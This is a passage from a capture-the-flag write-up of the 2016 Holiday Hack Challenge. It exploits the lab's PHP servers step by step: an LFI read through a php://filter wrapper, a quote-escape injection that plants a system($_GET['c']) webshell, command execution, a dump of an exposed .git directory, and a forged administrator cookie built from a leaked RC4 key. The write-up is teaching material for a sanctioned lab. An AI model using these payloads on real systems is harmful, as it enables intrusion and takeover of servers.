android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16162)\n\tat android.view.View.draw(View.java:16951)\n\tat android.view.ViewGroup.drawChild(ViewGroup.java:3727)\n\tat android.view.ViewGroup.dispatchDraw(ViewGroup.java:3513)\n\tat android.view.View.draw(View.java:17188)\n\tat com.android.internal.policy.DecorView.draw(DecorView.java:753)\n\tat android.view.View.updateDisplayListIfDirty(View.java:16167)\n\tat android.view.ThreadedRenderer.updateViewTreeDisplayList(ThreadedRenderer.java:648)\n\tat android.view.ThreadedRenderer.updateRootDisplayList(ThreadedRenderer.java:654)\n\tat android.view.ThreadedRenderer.draw(ThreadedRenderer.java:762)\n\tat android.view.ViewRootImpl.draw(ViewRootImpl.java:2800)\n\tat android.view.ViewRootImpl.performDraw(ViewRootImpl.java:2608)\n\tat android.view.ViewRootImpl.performTraversals(ViewRootImpl.java:2215)\n\tat android.view.ViewRootImpl.doTraversal(ViewRootImpl.java:1254)\n\tat android.view.ViewRootImpl$TraversalRunnable.run(ViewRootImpl.java:6337)\n\tat android.view.Choreographer$CallbackRecord.run(Choreographer.java:874)\n\tat android.view.Choreographer.doCallbacks(Choreographer.java:686)\n\tat android.view.Choreographer.doFrame(Choreographer.java:621)\n\tat android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:860)\n\tat android.os.Handler.handleCallback(Handler.java:751)\n\tat android.os.Handler.dispatchMessage(Handler.java:95)\n\tat android.os.Looper.loop(Looper.java:154)\n\tat android.app.ActivityThread.main(ActivityThread.java:6119)\n\tat java.lang.reflect.Method.invoke(Native Method)\n\tat com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:886)\n\tat com.android.internal.os.ZygoteInit.main(ZygoteInit.java:776)\n","model":"Android SDK built for x86","sdkint":"25","device":"generic_x86","product":"sdk_google_phone_x86","lversion":"3.10.0+","vmheapsz":"123054440","vmallocmem":"119010712","vmheapszlimit":"536870912","natallocmem":"7198792","cpuusage":"0.08108108","totalstor":"1560133632","freestor":"120262656","busystor":"1439870976","udid":"58bc60a3ff0f2f1a"}}
I got this response from the server:
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 26 Dec 2016 22:19:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 81
{
"success" : true,
"folder" : "docs",
"crashdump" : "crashdump-WgyLFG.php"
}
So, apparently, a file docs/crashdump-WgyLFG.php
was created. That's
very interesting, because this means that we may be able to upload valid
PHP code to be executed. The first thing I did was try to put PHP code in
the exception, to see if it was executed:
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 429
{"operation":"WriteCrashDump","data":{"message":"<?php phpinfo(); ?>","lmessage":"Message.","strace":"Stack trace","sdkint":"25","device":"generic_x86","product":"sdk_google_phone_x86","lversion":"3.10.0+","vmheapsz":"123054440","vmallocmem":"119010712","vmheapszlimit":"536870912","natallocmem":"7198792","cpuusage":"0.08108108","totalstor":"1560133632","freestor":"120262656","busystor":"1439870976","udid":"58bc60a3ff0f2f1a"}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:27:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 81
{
"success" : true,
"folder" : "docs",
"crashdump" : "crashdump-yoerjb.php"
}
GET /docs/crashdump-yoerjb.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 0
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:28:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 488
{
"message": "<?php phpinfo(); ?>",
"lmessage": "Message.",
"strace": "Stack trace",
"sdkint": "25",
"device": "generic_x86",
"product": "sdk_google_phone_x86",
"lversion": "3.10.0+",
"vmheapsz": "123054440",
"vmallocmem": "119010712",
"vmheapszlimit": "536870912",
"natallocmem": "7198792",
"cpuusage": "0.08108108",
"totalstor": "1560133632",
"freestor": "120262656",
"busystor": "1439870976",
"udid": "58bc60a3ff0f2f1a"
}
No such luck, our code was not executed. By playing with other parameters, I
got this error message when I modified the operation
parameter:
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 419
{"operation":"Test","data":{"message":"<?php phpinfo(); ?>","lmessage":"Message.","strace":"Stack trace","sdkint":"25","device":"generic_x86","product":"sdk_google_phone_x86","lversion":"3.10.0+","vmheapsz":"123054440","vmallocmem":"119010712","vmheapszlimit":"536870912","natallocmem":"7198792","cpuusage":"0.08108108","totalstor":"1560133632","freestor":"120262656","busystor":"1439870976","udid":"58bc60a3ff0f2f1a"}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:30:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 82
Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.
Ok, so we can create crash dump file, but we can also read from them. Let's try
to read one. Since I don't know how this API function works, I tried creating
a valid ReadCrashDump
request by trial and error:
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 29
{"operation":"ReadCrashDump"}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:33:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 42
Fatal error! JSON key 'data' must be set.
Alright, a data
key must be set. Let's try this:
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 40
{"operation":"ReadCrashDump", "data":""}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:34:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 47
Fatal error! JSON key 'crashdump' must be set.
Ok, we now need a crashdump
key. Let's add it:
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 57
{"operation":"ReadCrashDump", "data":"", "crashdump": ""}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:35:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 47
Fatal error! JSON key 'crashdump' must be set.
Hmm, the server does not seem to like where we put our crashdump
key.
Maybe we should put it in the data
object?
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 56
{"operation":"ReadCrashDump", "data": {"crashdump": ""}}
HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:36:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 0
Alright, we got a 500 error. Our syntax seems to be correct, but the server
generated an error, probably because we didn't put anything in the
crashdump
key. Let's try to put one of our file:
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 76
{"operation":"ReadCrashDump", "data" :{"crashdump": "crashdump-yoerjb.php"}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:38:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 66
Fatal error! crashdump value duplicate '.php' extension detected.
We got a "fatal error", but the web server returned a 200 OK code. This
probably means that we encountered an application error, but not an HTTP error.
The error message looks like there is custom filtering on the crashdump
parameter. Filtering on .php
extensions seems like a filter against
Local File Inclusion. The crashdump
parameter is most likely used to
include one of the created crash dump file.
Since .php
extensions seem to be filtered, this LFI seems a good
candidate for PHP wrappers. PHP
wrappers are URL starting with php://
. They can be used to access
different I/O streams, and work on them directly. One of these wrappers, and
a very interesting one in the case of an LFI is the
filter
wrapper. The filter
wrapper can be used to manipulate files present on
the file system, and transform them (base64-encode, ROT13-encode, etc.). Since
the server seems to append .php
automatically to the crashdump
parameter (cue the error message), we can use a php://filter
to read
files from the server, such as source code file. Let's try to read the
exception.php
file:
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 112
{"operation":"ReadCrashDump", "data":{"crashdump":"php://filter/read=convert.base64-encode/resource=exception"}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 15:53:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 3168
PD9waHAgCgojIEF1ZGlvIGZpbGUgZnJvbSBEaXNjb21ib2J1bGF0b3IgaW4gd2Vicm9vdDogZGlzY29tYm9idWxhdGVkLWF1ZGlvLTYtWHl6RTNOOVlxS05ILm1wMwoKIyBDb2RlIGZyb20gaHR0cDovL3RoaXNpbnRlcmVzdHNtZS5jb20vcmVjZWl2aW5nLWpzb24tcG9zdC1kYXRhLXZpYS1waHAvCiMgTWFrZSBzdXJlIHRoYXQgaXQgaXMgYSBQT1NUIHJlcXVlc3QuCmlmKHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10sICdQT1NUJykgIT0gMCl7CiAgICBkaWUoIlJlcXVlc3QgbWV0aG9kIG11c3QgYmUgUE9TVFxuIik7Cn0KCSAKIyBNYWtlIHN1cmUgdGhhdCB0aGUgY29udGVudCB0eXBlIG9mIHRoZSBQT1NUIHJlcXVlc3QgaGFzIGJlZW4gc2V0IHRvIGFwcGxpY2F0aW9uL2pzb24KJGNvbnRlbnRUeXBlID0gaXNzZXQoJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA/IHRyaW0oJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA6ICcnOwppZihzdHJjYXNlY21wKCRjb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL2pzb24nKSAhPSAwKXsKICAgIGRpZSgiQ29udGVudCB0eXBlIG11c3QgYmU6IGFwcGxpY2F0aW9uL2pzb25cbiIpOwp9CgkKIyBHcmFiIHRoZSByYXcgUE9TVC4gTmVjZXNzYXJ5IGZvciBKU09OIGluIHBhcnRpY3VsYXIuCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRvYmogPSBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CgkjIElmIGpzb25fZGVjb2RlIGZhaWxlZCwgdGhlIEpTT04gaXMgaW52YWxpZC4KaWYoIWlzX2FycmF5KCRvYmopKXsKICAgIGRpZSgiUE9TVCBjb250YWlucyBpbnZhbGlkIEpTT04hXG4iKTsKfQoKIyBQcm9jZXNzIHRoZSBKU09OLgppZiAoICEgaXNzZXQoICRvYmpbJ29wZXJhdGlvbiddKSBvciAoCgkkb2JqWydvcGVyYXRpb24nXSAhPT0gIldyaXRlQ3Jhc2hEdW1wIiBhbmQKCSRvYmpbJ29wZXJhdGlvbiddICE9PSAiUmVhZENyYXNoRHVtcCIpKQoJewoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ29wZXJhdGlvbicgbXVzdCBiZSBzZXQgdG8gV3JpdGVDcmFzaER1bXAgb3IgUmVhZENyYXNoRHVtcC5cbiIpOwp9CmlmICggaXNzZXQoJG9ialsnZGF0YSddKSkgewoJaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiV3JpdGVDcmFzaER1bXAiKSB7CgkJIyBXcml0ZSBhIG5ldyBjcmFzaCBkdW1wIHRvIGRpc2sKCQlwcm9jZXNzQ3Jhc2hEdW1wKCRvYmpbJ2RhdGEnXSk7Cgl9CgllbHNlaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiUmVhZENyYXNoRHVtcCIpIHsKCQkjIFJlYWQgYSBjcmFzaCBkdW1wIGJhY2sgZnJvbSBkaXNrCgkJcmVhZENyYXNoZHVtcCgkb2JqWydkYXRhJ10pOwoJfQp9CmVsc2UgewoJIyBkYXRhIGtleSB1bnNldAoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ2RhdGEnIG11c3QgYmUgc2V0LlxuIik7Cn0KZnVuY3Rpb24gcHJvY2Vzc0NyYXNoZHVtcCgkY3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7Cgkkb3V0cHV0ZmlsZW5hbWUgPSB0ZW1wbmFtKCRiYXNlcGF0aCwgImNyYXNoZHVtcC0iKTsKCXVubGluaygkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkb3V0cHV0ZmlsZW5hbWUgPSAkb3V0cHV0ZmlsZW5hbWUgLiAiLnBocCI7CgkkYmFzZW5hbWUgPSBiYXNlbmFtZSgkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkY3Jhc2hkdW1wX2VuY29kZWQgPSAiPD9waHAgcHJpbnQoJyIgLiBqc29uX2VuY29kZSgkY3Jhc2hkdW1wLCBKU09OX1BSRVRUWV9QUklOVCkgLiAiJyk7IjsKCWZpbGVfcHV0X2NvbnRlbnRzKCRvdXRwdXRmaWxlbmFtZSwgJGNyYXNoZHVtcF9lbmNvZGVkKTsKCQkJCglwcmludCA8PDxFTkQKewoJInN1Y2Nlc3MiIDogdHJ1ZSwKCSJmb2xkZXIiIDogImRvY3MiLAoJImNyYXNoZHVtcCIgOiAiJGJhc2VuYW1lIgp9CgpFTkQ7Cn0KZnVuY3Rpb24gcmVhZENyYXNoZHVtcCgkcmVxdWVzdGVkQ3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7CgljaGRpcigkYmFzZXBhdGgpOwkJCgkKCWlmICggISBpc3NldCgkcmVxdWVzdGVkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXSkpIHsKCQlkaWUoIkZhdGFsIGVycm9yISBKU09OIGtleSAnY3Jhc2hkdW1wJyBtdXN0IGJlIHNldC5cbiIpOwoJfQoKCWlmICggc3Vic3RyKHN0cnJjaHIoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10sICIuIiksIDEpID09PSAicGhwIiApIHsKCQlkaWUoIkZhdGFsIGVycm9yISBjcmFzaGR1bXAgdmFsdWUgZHVwbGljYXRlICcucGhwJyBleHRlbnNpb24gZGV0ZWN0ZWQuXG4iKTsKCX0KCWVsc2UgewoJCXJlcXVpcmUoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10gLiAnLnBocCcpOwoJfQkKfQoKPz4K
Yes! We managed to get the source code of the exception.php
page,
encoded in base64. By decoding it, we have access to the source code, and we
can see how our data are treated:
<?php
# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
die("Request method must be POST\n");
}
# Make sure that the content type of the POST request has been set to application/json
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : '';
if(strcasecmp($contentType, 'application/json') != 0){
die("Content type must be: application/json\n");
}
# Grab the raw POST. Necessary for JSON in particular.
$content = file_get_contents("php://input");
$obj = json_decode($content, true);
# If json_decode failed, the JSON is invalid.
if(!is_array($obj)){
die("POST contains invalid JSON!\n");
}
# Process the JSON.
if ( ! isset( $obj['operation']) or (
$obj['operation'] !== "WriteCrashDump" and
$obj['operation'] !== "ReadCrashDump"))
{
die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n");
}
if ( isset($obj['data'])) {
if ($obj['operation'] === "WriteCrashDump") {
# Write a new crash dump to disk
processCrashDump($obj['data']);
}
elseif ($obj['operation'] === "ReadCrashDump") {
# Read a crash dump back from disk
readCrashdump($obj['data']);
}
}
else {
# data key unset
die("Fatal error! JSON key 'data' must be set.\n");
}
function processCrashdump($crashdump) {
$basepath = "/var/www/html/docs/";
$outputfilename = tempnam($basepath, "crashdump-");
unlink($outputfilename);
$outputfilename = $outputfilename . ".php";
$basename = basename($outputfilename);
$crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
file_put_contents($outputfilename, $crashdump_encoded);
print <<<END
{
"success" : true,
"folder" : "docs",
"crashdump" : "$basename"
}
END;
}
function readCrashdump($requestedCrashdump) {
$basepath = "/var/www/html/docs/";
chdir($basepath);
if ( ! isset($requestedCrashdump['crashdump'])) {
die("Fatal error! JSON key 'crashdump' must be set.\n");
}
if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) {
die("Fatal error! crashdump value duplicate '.php' extension detected.\n");
}
else {
require($requestedCrashdump['crashdump'] . '.php');
}
}
?>
Now that I'm pasting this source code, I see that the audio file path is given
in the top comment of the file. But I was so eager to find out how
WriteCrashDump
and ReadCrashDump
work that I didn't see it.
Woopsie for me! Ok, bear with me, and let's suppose that the audio file was not
given in the comment (plus, it's more fun this way, so there!).
When we call WriteCrashDump
, we can see that our data are JSON encoded,
surrounded by print('
and ');
, then stored in a PHP file.
Since JSON encoding does not encode single-quote, we can escape from our
print
statement:
POST /exception.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 309
{"operation":"WriteCrashDump","data":{"message":" ');system($_GET['c']);die();print('","lmessage":"","strace":"","model":"","sdkint":"","device":"","product":"","lversion":"","vmheapsz":"","vmallocmem":"","vmheapszlimit":"","natallocmem":"","cpuusage":"","totalstor":"","freestor":"","busystor":"","udid":""}}
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 16:01:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 81
{
"success" : true,
"folder" : "docs",
"crashdump" : "crashdump-F4Xkdl.php"
}
We now have a functional webshell, stored in the crashdump-F4Xkdl.php
file. We just have to put our wanted command in the GET
parameter
c
:
GET /docs/crashdump-F4Xkdl.php?c=whoami HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 0
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 16:03:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28
{
"message": " www-data
Yes, our command was executed properly. We can now list the content of the webroot:
GET /docs/crashdump-F4Xkdl.php?c=ls+-lh+../ HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Android SDK built for x86 Build/NPF26K)
Host: ex.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 0
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 29 Dec 2016 16:04:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 237
{
"message": " total 352K
-rw-r--r-- 1 jeff jeff 219K Dec 7 17:08 discombobulated-audio-6-XyzE3N9YqKNH.mp3
drwxr-xr-x 2 www-data www-data 124K Dec 29 16:01 docs
-r--r--r-- 1 www-data www-data 2.4K Dec 7 16:58 exception.php
We now have the name of the audio file, without having to rely on the comment
in the exception.php
file, we're such haXXorz. Anyway, the URL to the
audio file is: http://ex.northpolewonderland.com/discombobulated-audio-6-XyzE3N9YqKNH.mp3
The Mobile Analytics Server (post authentication)
We may have found the first audio file in the analytics server by logging in, but we haven't taken a look at the functionalities offered by the server. Basically, we can query some usage information of the Android application, and save these queries:
- First, we performed a query, that we save:
- Then, we get the result of our query:
- We can then consult the result of our saved query:
Playing with the different parameters to conduct usual attacks (SQLi, LFI,
etc.) didn't lead to anything. On the suggestion of one of the elves, we can
use nmap -sC
to find interesting files hosted by the web server:
$ nmap -sC analytics.northpolewonderland.com
Starting Nmap 6.47 ( http://nmap.org ) at 2016-12-26 11:52 CET
Nmap scan report for analytics.northpolewonderland.com (104.198.252.157)
Host is up (0.14s latency).
rDNS record for 104.198.252.157: 157.252.198.104.bc.googleusercontent.com
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp open ssh
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
443/tcp open https
| http-git:
| 104.198.252.157:443/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Finishing touches (style, css, etc)
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00+00:00
|_Not valid after: 2017-03-07T17:35:00+00:00
|_ssl-date: 1970-06-11T20:44:11+00:00; -46y197d14h08m10s from local time.
| tls-nextprotoneg:
|_ http/1.1
A Git repository was found. That's very interesting, because it means we can
download the source code of the website to analyze it. It also means that we
have access to the history of every file modifications. Let's download the
source of the web site with wget
:
$ wget -r -k -np https://analytics.northpolewonderland.com/.git/
--2016-12-26 11:53:55-- https://analytics.northpolewonderland.com/.git/
Résolution de analytics.northpolewonderland.com (analytics.northpolewonderland.com)… 104.198.252.157
Connexion à analytics.northpolewonderland.com (analytics.northpolewonderland.com)|104.198.252.157|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : non indiqué [text/html]
Sauvegarde en : « analytics.northpolewonderland.com/.git/index.html »
analytics.northpolewonderland.com/.git/index.html [ <=> ] 1,36K --.-KB/s ds 0s
2016-12-26 11:53:56 (14,2 MB/s) - « analytics.northpolewonderland.com/.git/index.html » sauvegardé [1394]
Chargement de robots.txt ; veuillez ignorer les erreurs.
--2016-12-26 11:53:56-- https://analytics.northpolewonderland.com/robots.txt
Réutilisation de la connexion existante à analytics.northpolewonderland.com:443.
requête HTTP transmise, en attente de la réponse… 404 Not Found
2016-12-26 11:53:56 erreur 404 : Not Found.
--2016-12-26 11:53:56-- https://analytics.northpolewonderland.com/.git/branches/
Réutilisation de la connexion existante à analytics.northpolewonderland.com:443.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : non indiqué [text/html]
Sauvegarde en : « analytics.northpolewonderland.com/.git/branches/index.html »
[...]
--2016-12-26 11:54:45-- https://analytics.northpolewonderland.com/.git/logs/refs/heads/master
Réutilisation de la connexion existante à analytics.northpolewonderland.com:443.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 4284 (4,2K) [application/octet-stream]
Sauvegarde en : « analytics.northpolewonderland.com/.git/logs/refs/heads/master »
analytics.northpolewonderland.com/.git/logs/refs/ 100%[=============================================================================================================>] 4,18K --.-KB/s ds 0s
2016-12-26 11:54:45 (45,9 MB/s) — « analytics.northpolewonderland.com/.git/logs/refs/heads/master » sauvegardé [4284/4284]
Terminé — 2016-12-26 11:54:45 —
Temps total effectif : 50s
Téléchargés : 305 fichiers, 614K en 0,9s (695 KB/s)
$ ls -la analytics.northpolewonderland.com
total 12
drwxr-xr-x 3 yme yme 4096 déc. 26 14:44 .
drwxr-xr-x 3 yme yme 4096 déc. 26 14:44 ..
drwxr-xr-x 8 yme yme 4096 déc. 26 14:45 .git
Alright, the Git repository was completely downloaded, but the source files don't seem to be here. Let's inspect the Git repository:
$ cd analytics.northpolewonderland.com
$ git status
Sur la branche master
Modifications qui ne seront pas validées :
(utilisez "git add/rm <fichier>..." pour mettre à jour ce qui sera validé)
(utilisez "git checkout -- <fichier>..." pour annuler les modifications dans la copie de travail)
supprimé : README.md
supprimé : crypto.php
supprimé : css/bootstrap-theme.css
supprimé : css/bootstrap-theme.css.map
supprimé : css/bootstrap-theme.min.css
supprimé : css/bootstrap-theme.min.css.map
supprimé : css/bootstrap.css
supprimé : css/bootstrap.css.map
supprimé : css/bootstrap.min.css
supprimé : css/bootstrap.min.css.map
supprimé : css/bootstrap.min.css.orig
supprimé : db.php
supprimé : edit.php
supprimé : fonts/glyphicons-halflings-regular.eot
supprimé : fonts/glyphicons-halflings-regular.svg
supprimé : fonts/glyphicons-halflings-regular.ttf
supprimé : fonts/glyphicons-halflings-regular.woff
supprimé : fonts/glyphicons-halflings-regular.woff2
supprimé : footer.php
supprimé : getaudio.php
supprimé : header.php
supprimé : index.php
supprimé : js/bootstrap.js
supprimé : js/bootstrap.min.js
supprimé : js/npm.js
supprimé : login.php
supprimé : logout.php
supprimé : mp3.php
supprimé : query.php
supprimé : report.php
supprimé : sprusage.sql
supprimé : test/Gemfile
supprimé : test/Gemfile.lock
supprimé : test/test_client.rb
supprimé : this_is_html.php
supprimé : this_is_json.php
supprimé : uuid.php
supprimé : view.php
Sorry about the French Git output, but "supprimé" means "deleted". So, every source file was deleted, but the deletion was not commited, which means we can cancel the deletion:
$ git checkout -- .
$ ls
crypto.php db.php fonts getaudio.php index.php login.php mp3.php README.md sprusage.sql this_is_html.php uuid.php
css edit.php footer.php header.php js logout.php query.php report.php test this_is_json.php view.php
You can download the code source archive here
(sha256: 13a4f237f817300e1e23a95edaf4ea407a4a346d20c2115ca13eea30b69ee65c
).
It contains the Git repository.
Alright, we now have access to the source code of the web application! This
should makes things easier. First of all, we can see that there's a file
edit.php
, which is not accessible when we're connected as
guest
:
Indeed, the edit.php
page is only accessible to the
administrator
user:
# File edit.php
<?php
# This should be the first require
require_once('this_is_html.php');
require_once('db.php');
# Don't allow anybody to access this page (yet!)
restrict_page_to_users($db, []);
# File this_is_html.php
<?php
[...]
function restrict_page_to_users($db, $users) {
$username = get_username();
if(!$username) {
header('Location: login.php');
exit(0);
}
check_access($db, $username, $users);
}
# File db.php
<?php
[...]
function get_username() {
if(!isset($_COOKIE['AUTH'])) {
return;
}
$auth = json_decode(decrypt(pack("H*",$_COOKIE['AUTH'])), true);
return $auth['username'];
}
[...]
function check_access($db, $username, $users) {
# Allow administrator to access any page
if($username == 'administrator') {
return;
}
if(!in_array($username, $users)) {
reply(403, 'Access denied!');
exit(1);
}
}
From this source file, we can determine that administrator
has access
to every page, and that the application uses the cookie AUTH
to
determine the current logged in username. Let's see how this cookie is
generated:
# File login.php
<?php
[...]
print "Successfully logged in!";
$auth = encrypt(json_encode([
'username' => $_POST['username'],
'date' => date(DateTime::ISO8601),
]));
setcookie('AUTH', bin2hex($auth));
header('Location: index.php?msg=Successfully%20logged%20in!');
}
# File crypto.php
<?php
define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");
function encrypt($data) {
return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
}
function decrypt($data) {
return mcrypt_decrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
}
?>
So, we can see that the username is stored in a JSON object, stored encrypted
in the cookie AUTH
. Since we have the encryption key in
crypto.php
, we can generate our own cookie:
<?php
include('crypto.php');
$auth = encrypt(json_encode([
'username' => 'administrator',
'date' => date(DateTime::ISO8601),
]));
echo bin2hex($auth);
?>
$ php exploit.php
82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9c6549b449486763a20363b71876884152
We can now log into the application as administrator:
There was another, more elegant method, to recover administrator
's
password. Since we have the Git repository of the web application, we have
access to every file's history. We can see that in the source of the website,
there is an SQL schema file, sprusage.sql
. This file is used to create
a database with the right schema. It's often created with a dump of the
currently deployed database. However, if we take a look at it, we won't see
any data in it, apart from the tables creation instructions:
DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
`uid` int(11) NOT NULL,
`username` varchar(128) NOT NULL,
`password` varchar(128) NOT NULL,
PRIMARY KEY (`uid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
But, if we take a look at the Git log, we can see that the file was "fixed":
